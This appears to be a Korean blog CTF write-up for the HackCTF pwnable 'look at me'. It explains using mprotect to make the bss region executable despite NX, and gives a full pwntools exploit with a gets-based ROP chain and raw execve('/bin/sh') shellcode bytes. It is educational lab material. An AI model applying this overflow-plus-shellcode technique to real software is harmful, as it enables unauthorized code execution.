문제 풀이 환경 : ubuntu 18.04 |
롸업 구글링해보니 다른 풀이도 있길래 그 방법으로 한번 풀어보려고 한다.
주어진 파일은 문제 파일 바이너리
Analysis
[HackCTF : Pwnable] look at me 풀이 (32bit, syscall) 참고참고 ~~
How to exploit
system 함수가 없어서 mprotect 함수를 이용하려고 한다.
mprotect(원하는 주소, 사이즈, 권한)
mprotect 함수는 원하는 코드 영역의 권한을 변경할 수 있는 함수이다.
지금 nx가 걸려있어서 쉘코드 실행이 안되는데 이 함수를 이용하여 bss 영역의 권한을 7로 바꿔주고 쉘코드를 집어넣어 실행시킬 것이다.
mprotect의 인자값을 넣을 때 주의해야 할 점이 있다.
첫번째 인자인 원하는 주소에는 0x1000의 배수가 되어야 한다.
bss 주소가 0x080eaf80인데, 첫번째 인자를 0x080ea000으로 주고 사이즈를 크게크게 주면 될 것 같다.
참고로 인자를 넣기 위해 pppr 가젯이 필요한데 이 가젯은 아래와 같이 구했다.
objdump -d lookatme| grep -B4 'ret'
Let's exploit!
from pwn import *
p = process('./lookatme')
e = ELF('./lookatme')
main = 0x80488a3
gets_addr = e.symbols['gets']
pppr = 0x80bafb9
mprotect_addr = e.symbols['mprotect']
# first main
payload = ''
payload += 'a' * (0x18+0x4)
payload += p32(gets_addr)
payload += p32(main)
payload += p32(e.bss())
p.sendlineafter('\n', payload)
p.sendline('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80')
# second main
payload = ''
payload += 'a' * (0x18 + 0x4)
payload += p32(mprotect_addr)
payload += p32(pppr)
payload += p32(0x080ea000)
payload += p32(10000)
payload += p32(7)
payload += p32(e.bss())
p.sendlineafter('\n', payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] pwning풀이 (32bit, underflow) (0) | 2021.04.15 |
---|---|
[HackCTF : Pwnable] gift 풀이 (32bit, ROP) (0) | 2021.04.10 |
[HackCTF : Pwnable] look at me 풀이 (32bit, syscall) (0) | 2021.04.08 |
[HackCTF : Pwnable] RTL_Core 풀이 (32bit, RTL) (0) | 2021.04.05 |
[HackCTF : Pwnable] Random key 풀이 (rand) (0) | 2021.03.25 |